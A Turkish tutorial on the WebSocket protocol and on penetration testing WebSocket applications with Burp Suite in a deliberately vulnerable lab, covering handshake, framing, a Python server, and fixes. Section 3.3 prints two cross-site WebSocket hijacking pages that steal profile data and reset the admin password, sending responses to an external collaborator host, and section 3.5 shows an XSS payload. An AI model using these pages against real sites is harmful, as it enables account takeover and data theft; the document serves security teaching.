2. İçindekiler
1 Protokol Hakkında.................................................................................................................................1
1.1 Protokole Genel Bakış...................................................................................................................1
1.1.1 Bağlantı Kurmak....................................................................................................................1
1.1.2 WebSocket URI......................................................................................................................2
1.2 Bağlantının kurulması ...................................................................................................................3
1.2.1 İstemci Gereksinimleri ..........................................................................................................3
1.2.2 Sunucu Gereksinimleri ..........................................................................................................3
1.3 Veri Çerçevesi................................................................................................................................5
1.3.1 Temel Çerçeve Protokolü......................................................................................................5
1.3.2 Maskeleme İşlemi .................................................................................................................6
1.3.3 Kontrol Çerçeveleri ...............................................................................................................6
1.4 Veri Gönderilmesi ve Alınması......................................................................................................7
1.4.1 Veri Gönderme......................................................................................................................7
1.4.2 Veri Alma...............................................................................................................................7
1.5 Origin Başlığı Hakkında..................................................................................................................7
2 WebSocket Sunucusu Oluşturma..........................................................................................................8
2.1 Soket oluşturmak ve dinlemek......................................................................................................8
2.2 Gelen Bağlantı İsteğini Ayrıştırmak...............................................................................................9
2.3 Gelen Veriyi Ayrıştırmak .............................................................................................................10
3 WebSocket Uygulamalarına Sızma Testi Gerçekleştirmek..................................................................11
3.1 Burp Suite Aracının Kullanılması .................................................................................................11
3.2 Test Ortamının Kurulması ...........................................................................................................14
3.3 Cross-Site WebSocket Hijacking (CSWSH) Zafiyeti......................................................................15
3.4 CSWSH Zafiyetinin Önlenmesi ....................................................................................................21
3.5 Enjeksiyon Zafiyetleri - XSS .........................................................................................................22
3.6 XSS Zafiyetinin Önlenmesi...........................................................................................................23
4 Referanslar..........................................................................................................................................24
3. 1 Protokol Hakkında
1.1 Protokole Genel Bakış
İstemci ve sunucular arasındaki iletişimi sağlayan protokoller, gelişen web uygulamaları için yetersiz
kalmaya ve web uygulamaları istemci ve sunucu arasında çift yönlü bir iletişim gereksinimi duymaya
başlamıştır. Bu gereksinim için her iki yöndeki trafik için tek bir TCP bağlantısı kurmak yetecektir.
Websocket protokolü tam olarak bu hizmet için, istemci ve sunucu arasında iki yönlü iletişimi sağlamak
üzere geliştirilmiş bir protokoldür.
Websocket protokolü temel olarak iki parçadan oluşur: Bağlantı kurmak ve veri iletimi sağlamak.
Bağlantı kurmak için istemci sunucuya aşağıdaki gibi HTTP isteği gönderir:
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Sunucu ise bağlantıyı tamamlamak için aşağıdaki gibi bir HTTP yanıtı döndürür:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: chat
İstemci ve sunucu arasındaki bağlantı başarılı bir şekilde kurulduktan sonra veri iletim aşamasına
geçilebilir. Veri iletim aşamasında, istemciler ve sunucular “messages” olarak adlandırılan kavramsal
birimler ile verileri çift yönlü olarak aktarır. Websocket mesajları belirli bir ağ katmanı çerçevesine
karşılık gelmez.
1.1.1 Bağlantı Kurmak
WebSocket protokolü HTTP tabanlı sunucu ve istemci yazılımları ile uyumlu olması için tasarlanmıştır. Bu
nedenle sunucu ile konuşan HTTP istemcileri ve WebSocket istemcileri tek bir bağlantı noktasını (port)
kullanabilir. WebSocket isteğinin diğer HTTP isteklerinden farklı olduğunu anlayabilmek için “HTTP
Upgrade” isteği gönderilir.
İstekte gönderilen HTTP başlıkları istemcinin isteğine göre değişiklik gösterebilir. “HTTP GET” metodu ile
gönderilen “Request-Uri” Websocket bağlantısının gerçekleştirileceği uç noktayı belirtir.
“Origin” başlığı, bir WebSocket sunucusunun yetkisi kaynaklar arası kullanımını önlemek için kullanılır.
Sunucu bu kaynaktan gelen bağlantıları kabul etmek istemiyor ise uygun bir HTTP hata kodu göndererek
bağlantıyı reddetmeyi seçebilir. Bu başlık alanı tarayıcı tabanlı istemciler tarafından otomatik olarak
gönderilir, tarayıcı tabanlı olmayan istemciler bu başlık alanını gerekirse gönderebilir.
4. Sunucunun istemciden gelen WebSocket olmayan bağlantıları kabul etmemesi için istemcinin bir
WebSocket isteği gönderdiğini kanıtlaması gerekir.
Bağlantının güvenliğini doğrulamak için sunucu gelen istekteki “Sec-WebSocket-Key” başlığını kullanılır.
Sunucunun bu başlık alanındaki değeri bir GUID değeri("258EAFA5-E914-47DA-95CA-C5AB0DC85B11")
ile birleştirmesi ve ortaya çıkan değerin SHA-1 çıktısını base64 kodlayarak “Sec-WebSocket-Accept”
başlığında döndürmesi gerekir.
Örnek olarak, istemci "dGhlIHNhbXBsZSBub25jZQ==" değerini gönderir. Sunucu bu değeri GUID değeri
ile birleştirir ve "dGhlIHNhbXBsZSBub25jZQ==258EAFA5-E914-47DA-95CA-C5AB0DC85B11" değerini
elde eder. Bu değer SHA-1 ile şifrelenir ve base64 kodlanır. Ortaya çıkan değer HTTP yanıtındaki “Sec-
WebSocket-Accept” başlığında gönderilir.
Sunucu eğer bağlantı isteğini kabul eder ise aşağıdaki gibi bir HTTP yanıtı döndürür.
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
“101” dışındaki herhangi bir durum kodu WebSocket anlaşmasının başarısız olduğunu gösterir.
“Connection” ve “Upgrade” başlıkları “HTTP Upgrade” işlemini tamamlar. “Sec-WebSocket-Accept”
başlığı yukarıda açıklanan hesaplamalar sonucu elde edilir.
Tüm bu alanlar WebSocket istemcisi tarafından kontrol edilir. “Sec-WebSocket-Accept” değeri beklenen
değer ile eşleşmez ise, beklenen başlıklar HTTP yanıtında gelmez ise ve HTTP durum kodu 101 olmaz ise
bağlantı kurulamaz ve WebSocket çerçeveleri gönderilmez.
1.1.2 WebSocket URI
WebSocket protokolü iki farklı URI şeması kullanır:
ws-URI = "ws:" "//" host [ ":" port ] path [ "?" query ]
wss-URI = "wss:" "//" host [ ":" port ] path [ "?" query ]
“port” bileşeni opsiyonel olarak kullanılır. “ws” için varsayılan “80”, “wss” için varsayılan “443”dür. Şema
bileşenleri büyük/küçük harfe duyarsız bir şekildedir. Şema “wss” ile eşleşirse, URI “secure” (“secure
flag” ayarlanmış) demektir.
5. 1.2 Bağlantının kurulması
1.2.1 İstemci Gereksinimleri
• İstemci tarafından girilen WebSocket URI bilgisi spesifikasyonda belirtilen bilgiler dahilinde
geçerli olmalıdır.
• İstemci üzerinde aynı “host/port” bilgileri ile açılmış iki farklı bağlantı olmamalıdır.
• WebSocket URI bilgisinde “secure flag” ayarlanmış ise istemci bağlantıyı sağlamadan önce TLS
bağlantısı gerçekleştirilmelidir.
Sunucu ile bir bağlantı kurulduğunda, istemci sunucuya bir el sıkışma isteği göndermek zorundadır. Bu el
sıkışma isteği için gerekli gereksinimler aşağıdaki gibidir:
1. El sıkışma geçerli bir HTTP isteği olmalıdır.
2. “HTTP GET” isteği gönderilmeli ve sürüm 1.1 olmalıdır.
3. İstek “Host” başlığını içermek zorundadır.
4. İstek “Upgrade: Websocket” başlığını içermek zorundadır.
5. İstek “Connection: upgrade” başlığını içermek zorundadır.
6. İstek “Sec-WebSocket-Key” başlığını içermek zorundadır. Bu başlık alanının değeri base64 ile
kodlanmış, rastgele seçilmiş 16 baytlık bir değerden oluşmalıdır. Her bağlantı için rastgele
seçilmelidir.
7. İstek bir web tarayıcısından gerçekleştiriliyor ise “Origin” başlığını içermek zorundadır.
8. İstek "Sec-WebSocket-Version" başlığını ve bu başlığın değerini 13 olarak göndermek zorundadır.
İstemci el sıkışma isteğini gerçekleştirdikten sonra daha fazla veri göndermeden önce sunucudan yanıt
beklemek zorundadır. Sunucudan yanıt geldikten sonra istemci gelen yanıtı aşağıdaki maddeler uygun
olarak doğrulamalıdır:
1. Gelen yanıttaki HTTP durum kodu 101 değil ise istemci yanıttaki durum koduna göre işlem
yapmalıdır.
2. Gelen yanıtta “Upgrade: websocket” başlığı yok ise istemci bağlantıyı kapatmak zorundadır.
3. Gelen yanıtta “Connection: upgrade” başlığı yok ise istemci bağlantıyı kapatmak zorundadır.
4. Gelen yanıtta “Sec-WebSocket-Accept” başlığı yok ise veya başlıkta gönderilen değer GUID ile
şifrelenip base64 kodlanmış değer ile uyuşmuyor ise istemci bağlantıyı kapatmak zorundadır.
Sunucudan gelen yanıt yukarıda belirtildiği gibi doğrulanır ise Websocket bağlantısı sağlanmış olur ve
WebSocket bağlantısı “OPEN” durumuna geçer.
1.2.2 Sunucu Gereksinimleri
1.2.2.1 İstemci Mesajının Okunması
Sunucu WebSocket el sıkışmasının tamamlanması için istemci tarafından gönderilen isteği aşağıdaki
maddelere uygun bir biçimde ayrıştırmalı ve gerekli yanıtı göndermelidir:
1. HTTP 1.1 veya üzeri bir HTTP isteği gönderilmelidir ve gönderilen istekte “Request-Uri”
parametresi bulunmalıdır.
2. Gönderilen HTTP isteğinde bulunan “Host” başlığı sunucunun yetki alanını içermelidir.
3. Gönderilen HTTP isteğinde “Upgrade: websocket” başlığı bulunmalıdır.
4. Gönderilen HTTP isteğinde “Connection: Upgrade” başlığı bulunmalıdır.
6. 5. Gönderilen HTTP isteğinde “Sec-Websocket-Key1” başlığı 16 bayt uzunluğunda base64 ile
kodlanmış bir veri içermelidir.
6. Gönderilen HTTP isteğinde “Sec-Websocket-Version: 13” başlığı bulunmalıdır.
7. Gönderilen HTTP isteğinde opsiyonal olarak “Origin” başlık alanı bulunmalıdır. Bu başlık alanı
tüm tarayıcı istemcileri tarafından gönderilir. Bu başlık alanından yoksun bir bağlantı girişimi, bir
tarayıcı istemcisinden geliyor olarak yorumlanmamalıdır.
1.2.2.2 Sunucu Mesajının Gönderilmesi
Sunucu WebSocket bağlantısını kabul ettiğini bildirmek için aşağıdaki adımları gerçekleştirmek
zorundadır:
1. İstek TLS üzerinden geliyor ise TLS anlaşması gerçekleştirilmek zorundadır.
2. İstemcinin gönderdiği istek sunucuda oturum kontrol mekanizmasına takılır ise 401 durum kodu
ile yanıt vermek zorundadır.
3. Sunucu istemciyi yeniden yönlendirmek istiyor ise 3xx durum kodu ile yanıt vermek zorundadır.
4. İstemci tarafından gönderilen “Origin” değerine göre sunucu bağlantıyı kabul edip etmeyeceğine
karar vermelidir.
5. İstemci tarafından gönderilen “Sec-WebSocket-Accept” değeri base64 kodlanmış ve
çözüldüğünde 16 baytlık bir değer içeren veri olmalıdır.
Sunucu istemciden gelen bağlantıyı kabul etmek istiyor ise aşağıdaki bilgileri içeren bir HTTP yanıtı
göndermek zorundadır.
1. Yanıt durum satırı “HTTP /1.1 Switching Protocol” olmak zorundadır.
2. Yanıt “Upgrade: websocket” başlığını içermek zorundadır.
3. Yanıt “Connection: upgrade” başlığını içermek zorundadır.
4. Yanıt “Sec-WebSocket-Accept” başlığını ve bu başlıkta bulunması gereken değeri içermek
zorundadır.
“Sec-WebSocket-Accept” değeri hesaplanırken, istemci tarafından gönderilen değer “258EAFA5-E914-
47DA-95CA-C5AB0DC85B11” değeri ile birleştirilir, SHA-1 karma değeri elde edilir; elde edilen bu değer
“HEX” olarak hesaplanır ve base64 kodlanır. İlgili değerlerin hesaplanmasına ait CyberChef sitesinden
alınan ekran görüntüsü aşağıdaki gibidir:
7. 1.3 Veri Çerçevesi
1.3.1 Temel Çerçeve Protokolü
WebSocket protokolünde veriler bir dizi çerçeve kullanılarak iletilir. Bazı güvenlik nedenleri ile istemci
sunucuya gönderdiği tüm çerçeveleri maskelemelidir. Sunucu maskelenmemiş bir çerçeve aldığında
bağlantıyı kapatmalıdır. Sunucu, istemciye gönderdiği hiçbir çerçeveyi maskelememelidir. İstemci,
maskelenmiş bir çerçeve aldığında bağlantıyı kapatmalıdır.
WebSocket paketinin temel çerçevesi aşağıdaki gibidir:
1.3.1.1 FIN: 1 bit
Bu değer bir iletideki son parça olduğunu gösterir.
1.3.1.2 RSV1, RSV2, RSV3: 1’er bit
Eğer bir uzantı tanımlanmamış ise değeri 0 olmalıdır. Sıfırdan farklı bir değer alınırsa ve el sıkışmada
kullanılan uzantıların hiçbiri bu değeri tanımıyor ise WebSocket bağlantısı başarısız olmak zorundadır.
1.3.1.3 Opcode: 4 bit
“Paylod” verisinin yorumlanmasını sağlar. Bilinmeyen bir işlem kodu alınırsa WebSocket bağlantısı
başarısız olmak zorundadır. Tanımlanan işlem kodları aşağıdadır:
• %x0: devam çerçevesini belirtir.
• %x1: bir metin çerçevesini belirtir.
• %x2: binary çerçeveyi belirtir.
• %x3-7: diğer kontrol dışı çerçeveler için ayrılmıştır.
• %x8: bir bağlantının kapatıldığını belirtir.
• %x9: “ping” i belirtir.
• %xA: “pong” u belirtir.
• %XB-F: daha fazla kontrol çerçevesi için ayrılmıştır.
1.3.1.4 Mask: 1 bit
“Payload” verisinin maskelenip maskelenmediğini belirtir. 1 olarak ayarlanırsa veri maskelenmiş
anlamına gelir ve "Masking-key" alanında maskeleme anahtarı verilir. İstemciden sunucuya giden tüm
çerçevelerde bu alan 1 olmalıdır.
8. 1.3.1.5 Payload Length: 7 bit, 7+16 bit, 7+64 bit
“Payload” verisinin uzunluğunu belirtir.
1.3.1.6 Masking-key: 0 veya 4 bayt
İstemciden sunucuya gönderilen tüm çerçeveler, çerçeve içinde bulunan 32 bitlik bir değerle maskelenir.
Bu alan “Mask” biti 1 olarak ayarlanmış ise içinde veri bulundurur.
1.3.1.7 Payload data: (x+y) bayt
Uygulama verileri ile uzantı verilerinin birleşimi ile oluşur.
1.3.1.8 Extension data: x bayt
"Extension data" bir uzantı üzerinde anlaşmaya varılmadığı sürece 0 bayttır. Eğer bir anlaşma var ise
gerekli veriler bu alanda bulunur.
1.3.1.9 Application data: y bayt
Herhangi bir "Extension" verisinden sonra çerçevenin geri kalan uzunluğu "Application" verisidir.
1.3.2 Maskeleme İşlemi
Maskeleme işlemi istemci tarafından gönderilen 32-bit değerindeki maskeleme anahtarı ile
gerçekleştirilir. Bu maskeleme anahtarı tahmin edilemez ve güçlü bir entropi ile oluşturulmalıdır.
Maskeleme işlemi “Payload” verisinin uzunluğunu etkilemez. Maskelenmemiş verileri maskelemek ve
tam tersi işlemi gerçekleştirmek için aynı algoritma kullanılır:
1.3.3 Kontrol Çerçeveleri
Kontrol çerçeveleri gönderilen çerçevedeki “opcode” alanı ile kullanılır. Kontrol çerçeveleri için şuan
tanımlanmış işlem kodları arasında “0x8(Close)”, “0x9(Ping)”, “0xA(Pong)” bulunmaktadır. Kontrol
çerçeveleri, WebSocket bağlantısının durumunu iletmek için kullanılır.
1.3.3.1 Close
"Close" çerçevesi "opcode" alanında 0x8 değerinin gönderilmesi ile oluşturulur. "Close" çerçevesi gövde
alanı içerebilir veya içermeyebilir.
"Close" mesajı alındıktan sonra istemci ve sunucu arasındaki TCP bağlantısı kapatılmalıdır.
1.3.3.2 Ping
"Ping" çerçevesi opcode alanında "0x9" değerinin gönderilmesi ile oluşturulur. Bir "Ping" çerçevesi
"Application data" bilgileri içerebilir. Bir "Ping" çerçevesi alındıktan sonra yanıt olarak bir "Pong"
çerçevesi ile yanıt verilmelidir. Bir uç nokta, bağlantı kurulduktan sonra ve bağlantı kapatılmadan önce
herhangi bir zamanda bir "Ping" çerçevesi gönderebilir. Bir "Ping" çerçevesi, uç noktanın hala yanıt
verdiğini doğrulamak için kullanılabilir.
9. 1.3.3.3 Pong
"Pong" çerçevesi opcode alanında "0xA" değerinin gönderilmesi ile oluşturulur. "Ping" çerçevesine yanıt
olarak gönderilen bir "Pong" çerçevesi, yanıtlanan "Ping" çerçevesinin mesaj gövdesine bulunan
"Application data" verisi ile aynı veriyi döndürmelidir.
1.4 Veri Gönderilmesi ve Alınması
1.4.1 Veri Gönderme
Bir WebSocket bağlantısının üzerinden bir veri göndermek için bir uç noktanın aşağıdaki adımları
gerçekleştirmesi zorunludur:
1. Uç nokta, WebSocket bağlantısının “OPEN” durumunda olduğundan emin olmalıdır.
2. Uç nokta, veri göndermek için WebSocket çerçevesini kapsüllemelidir. Eğer veri büyük ise
gönderilecek veri parça parça gönderilmelidir.
3. Uç nokta, WebSocket çerçevesinde kullanacağı “opcode” değerini uygun bir şekilde
ayarlamalıdır.
4. Uç nokta, verileri içeren son çerçevenin “FIN” bitini 1 olarak ayarlamalıdır.
5. Veriler istemci tarafından gönderiliyor ise maskelenmelidir.
6. WebSocket bağlantısı için herhangi bir uzantı üzerinde anlaşma yapılmış ise, bu uzantıların
tanımına göre ek işlemler yapılabilir.
7. Oluşturulan çerçeveler, temel ağ bağlantısı üzerinden gönderilmelidir.
1.4.2 Veri Alma
Uç nokta WebSocket verilerini almak için ağ bağlantısını dinler. Gelen veri WebSocket çerçevelerine göre
ayrıştırılmalıdır. Bir kontrol çerçevesi alınırsa çerçeve uygun bir şekilde işlenmelidir. "FIN" değeri
ayarlanmış çerçeve alındığında gönderilen verinin tamamlandığı anlaşılmalı ve sonraki gönderilen
değerlerin başka verilere ait olduğu anlaşılmalıdır. Eğer uç nokta sunucu ise gönderilen çerçevedeki
maskelenmiş veriyi çözümlemelidir.
1.5 Origin Başlığı Hakkında
Sunucu belirtilen kaynaklar dışındaki kaynaklardan gelen bağlantıları kabul etmemek için "Origin"
başlığını kullanabilir. Belirtilen kaynak için isteği kabul etmez ise “HTTP 403” yanıtı döndürmelidir.
"Origin" başlık alanı güvenilmeyen JavaScript tabanlı uygulamalardan gelecek saldırılardan korur.
İstemcinin kendisi sunucuyla iletişim kurabilir. Burada "Origin" başlığının kullanılmasındaki amaç, tarayıcı
olmayan istemcilerin bağlantı kurmasını engellemek değil, kötü amaçlı Javascript kodlarını çalıştıran
tarayıcıların bir WebSocket anlaşmasını taklit edememesini sağlamaktır.
10. 2 WebSocket Sunucusu Oluşturma
Basit bir WebSocket sunucusu oluşturmak için “basic-websocket-server” github reposunu kullanmak
faydalı olacaktır. İlgili Python kodu şu şekilde incelenebilir:
2.1 Soket oluşturmak ve dinlemek
Yukarıdaki Python kodu 8585 numaralı portu dinleyen bir soket açar ve sonsuza kadar ilgili soketi dinler.
Bir soket bağlantısı geldiğinde ise onu ilgili fonksiyona iletir.
11. 2.2 Gelen Bağlantı İsteğini Ayrıştırmak
İstemci tarafından gönderilen istek bir HTTP isteği olduğu için isteğin başlıklarının ayrıştırılması gerekir.
Başlıkları ayrıştırıldıktan sonra “Sec-WebSocket-Key” değeri alınır ve gereken hesaplamalardan geçirilir.
Tüm adımlardan sonra istemciye WebSocket bağlantısının kabul edildiğini belirten bir HTTP yanıtı
döndürülür. Bu adımdan sonra istemci sunucu arasında WebSocket çerçeveleri gönderilip alınabilir.
12. 2.3 Gelen Veriyi Ayrıştırmak
Gelen veri WebSocket çerçeve yapısına göre ayrıştırılmalıdır. Veri ayrıştırıldıktan sonra maskelenmiş veri
çözümlenmeli ve gönderilen mesaj elde edilmelidir.
13. 3 WebSocket Uygulamalarına Sızma Testi Gerçekleştirmek
3.1 Burp Suite Aracının Kullanılması
WebSocket uygulamalarına sızma testi gerçekleştirebilmek için “Burp Suite Proxy” aracını kullanmak
faydalı olacaktır. İlgili kurumları ve bağlantıları sağladıktan sonra tarayıcıda WebSocket sunucusu ile
iletişime geçen web sayfası açılmalıdır:
Sayfa WebSocket sunucusu ile başarılı bir şekilde bağlantı kurar ise WebSocket sunucusunda aşağıdaki
gibi bir çıktı olacaktır:
Proxy aracında ise ilgili HTTP isteği ve yanıtı görüntülenebilmektedir:
Giden WebSocket mesajları ise aşağıdaki ekran görüntüsünde gösterilen sekmede görüntülenebilir:
14. “CTRL+R” kısayolu veya “Send Repeater” fonksiyonu kullanılarak WebSocket mesajını değiştirip tekrar
gönderebileceğimiz “Repeater” sekmesine gönderebiliriz.
İstek sunucudan istemciye gönderildiği için “Repeater” sekmesinde “To Client” seçeneği seçili olacaktır.
İlgili mesajı “test” olarak değiştirip “Send” butonuna tıklandığında tarayıcıdaki mesajın da “test” olarak
değiştiği görüntülenebilmektedir.
“To client” seçeneği “To server” olarak değiştirilirse proxy aracı mesajı tcp bağlantısı üzerinden istemciye
değil sunucuya gönderecektir.
15. Yukarıdaki istekte görüldüğü üzere istemci adına sunucuya “test” verisini içeren bir mesaj gönderildi ve
sunucu bu mesaja yanıt olarak “Your Message:test” mesajını istemciye iletti. Bu işlemler sonucu
sunucudaki ve tarayıcıdaki durum aşağıdaki gibi olacaktır.
Proxy aracındaki bağlantıyı kapatıp tekrar açtığımız da ise proxy aracı bağlantı sağlanırken gönderilen
HTTP isteğini tekrar sunucuya iletecek ve bir WebSocket bağlantısı açmaya çalışacaktır. Sunucu
bağlantısını kapatıp “Reconnect” butonuna basıldığında sunucu çıktısı aşağıdaki gibi olacaktır.
Proxy aracı bir tarayıcı istemcisi gibi çalışıp aynı değerler ile bir HTTP isteği göndermiş ve sunucu da bu
isteği kabul etmiş olacaktır. Bu aşamadan sonra proxy aracı ile WebSocket mesajları gönderilebilir.
16. 3.2 Test Ortamının Kurulması
WebSocket zafiyetlerini analiz edebilmek için “https://github.com/Serhatcck/vulnsocket” github
reposunu kullanmak faydalı olacaktır. Gerekli kurulumlar yapıldıktan sonra uygulama aşağıdaki gibi bir
ekran ile açılacaktır:
Bu adımda “test:test” bilgileri ile giriş yapılabilir veya “Register” butonuna tıklayarak yeni bir kullanıcı
oluşturulabilir. Kullanıcı bilgileri ile giriş yapıldıktan sonra uygulamanın ana sayfası açılacaktır:
Bu sayfada iki farklı zafiyete referans verilmektedir.
17. 3.3 Cross-Site WebSocket Hijacking (CSWSH) Zafiyeti
Zafiyeti sömürmeden önce bu zafiyetin tam olarak ne olduğunu bilmekte fayda var. CSWSH zafiyeti yani
“Siteler Arası WebSocket Ele Geçirme” zafiyeti WebSocket bağlantısında bir CSRF zafiyeti olması ile
ortaya çıkar. İstemci ve sunucu arasında gerçekleştirilen çift yönlü el sıkışma sürecinde sunucu
istemciden herhangi bir anahtar bilgisi istemez ise saldırgan bir kullanıcı herhangi bir istemci üzerinden
zafiyet barındıran WebSocket uç noktasına bağlanabilir ve mesajları istediği şekilde yönlendirebilir.
Test ortamında da bu zafiyetin sömürülebileceği bir senaryo mevcut. Aşağıdaki ekran görüntüsünde
görüntülenen sayfada bazı profil işlemleri gerçekleştirilebilmektedir.
WebSocket bağlantısını ve gönderilen WebSocket mesajlarını görüntüleyebilmek için proxy aracından
gerçekleştirilen istekleri görüntülemek gerekir. WebSocket bağlantısı için gerçekleştirilen HTTP isteği
aşağıdaki gibidir:
Yukarıdaki ekran görüntüsünde görüldüğü üzere bağlantıyı gerçekleştirmek için gönderilen HTTP isteği
herhangi bir anahtar değeri gönderilmemiştir. İstemci ve sunucu arasında gönderilen WebSocket
mesajları ise aşağıdaki ekran görüntüsündeki gibidir:
18. Bağlantı kurulduktan sonra yukarıda görüldüğü gibi sunucu istemciye “Welcome test” verisi içeren bir
WebSocket mesajı göndermiştir.
Sunucunun mesajından sonra istemci “profile” verisini içeren bir WebSocket mesajını sunucuya
iletmiştir.
19. Sunucu gönderilen “profile” mesajından sonra istemciye profil bilgilerinin bulunduğu bir dizi WebSocket
mesajı göndermiştir.
Tüm bu adımlar analiz edildikten sonra zafiyetli WebSocket sunucusuna bağlanan ve aldığı her mesajı
proxy aracına gönderen bir HTML kodu yazılabilir. Örnek olarak profil bilgisini gönderen bir HTML kodu
aşağıdaki tabloda verilmiştir:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
var ws = new WebSocket('ws://localhost:8585');
ws.onopen = function() {
ws.send("profile");
};
ws.onmessage = function(event) {
fetch('http://jtgskhdrutq5n7qykicobliodfj57u.oastify.com', {method:
'POST', mode: 'no-cors', body: event.data});
};
</script>
</body>
</html>
Yukarıdaki HTML kodunu bir web sunucusunda barındırıp sayfaya gidildiğinde ise proxy aracında
aşağıdaki gibi veri oluşacaktır.
20. Proxy aracına düşen HTTP istekleri ilgili HTML kodunun başarılı bir şekilde çalıştığını kanıtlamaktadır. Bu
adımdan sonra yapılması gereken işlem “admin” kullanıcısının profil bilgilerini ele geçirmektir. Bunun için
test ortamının bize sunduğu “cswsh_exploit.py” python kodunu kullanmak gerekmektedir.
İlgili python kodunu çalıştırdığımız zaman proxy aracında “admin” kullanıcısının profil bilgileri
görüntülenebilir.
21. “admin” kullanıcısının bilgilerini ele geçirdikten sonra şifre değiştirme işlemi aşağıdaki HTML kodu ile
gerçekleştirilebilir:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
var ws = new WebSocket('ws://localhost:8585');
ws.onopen = function() {
ws.send("setPassword:{admin}");
};
ws.onmessage = function(event) {
fetch('http://jtgskhdrutq5n7qykicobliodfj57u.oastify.com', {method:
'POST', mode: 'no-cors', body: event.data});
};
</script>
</body>
</html>
22. HTML kodunun aşağıdaki gibi çalıştırıldıktan sonra admin şifresinin güncellendiği görüntülenebilir:
“admin” kullanıcısının bilgilerini ve şifresini öğrendikten sonra “admin” kullanıcı bilgileri ile giriş
yapılabilir:
23. 3.4 CSWSH Zafiyetinin Önlenmesi
İlgili zafiyetin nasıl önleneceğini anlayabilmek için “cswsh_secure.php” sayfasını incelemek faydalı
olacaktır. Sayfanın gerçekleştirdiği WebSocket bağlantı isteğini proxy aracı ile incelediğimiz zaman bir
“token” değerinin isteğe eklendiği görüntülenebilmektedir.
İlgili token değerinin nasıl oluşturulduğu ise sayfanın kaynak kodu incelenerek anlaşılabilir.
İlgili “token” değeri aynı zamanda WebSocket sunucusu üzerinde de kontrol edilmektedir.
24. 3.5 Enjeksiyon Zafiyetleri - XSS
WebSocket protokolü üzerinden gönderilen mesajlar, uygulamada kullanılan fonksiyonlara göre
enjeksiyon zafiyetlerine yol açabilir. Hatalı konfigüre edilmiş veri tabanı sorguları sonucunda WebSocket
mesajları ile SQL enjeksiyonu zafiyetine veya doğrulanmamış veriler HTML sayfasında XSS zafiyetine yol
açabilir.
XSS zafiyetinin test edilebilmesi için, test ortamında bulunan “xss.php” web sayfasının iki farklı tarayıcı
ve iki farklı kullanıcı ile açılması gerekmektedir.
Yukarıda ekran görüntüsü verilen uygulamada WebSocket sunucusuna bağlı olan herhangi bir istemci bir
WebSocket mesajı gönderdiği zaman tüm istemcilere ilgili mesaj yönlendirilmektedir. WebSocket
istemcisi gönderilen mesajları kontrolden geçirmediği için, uygulamada XSS zafiyeti ortaya çıkmaktadır.
“test” kullanıcısının gönderdiği “<script>alert(document.domain)</script>” mesajı “test1” kullanıcısında
da çalışmaktadır:
25. 3.6 XSS Zafiyetinin Önlenmesi
İlgili zafiyetin önlenebilmesi için gönderilen verilerin kontrollerden geçirilmesi gerekilmektedir.
Kontrollerin nasıl sağlandığını anlayabilmek için “socket_xss_secure.py” python kodu incelenebilir:
“html.escape” fonksiyonu gönderilen verideki zararlı karakterleri “html” kodlamaktadır. Bu sayede ilgili
zafiyet önlenebilir.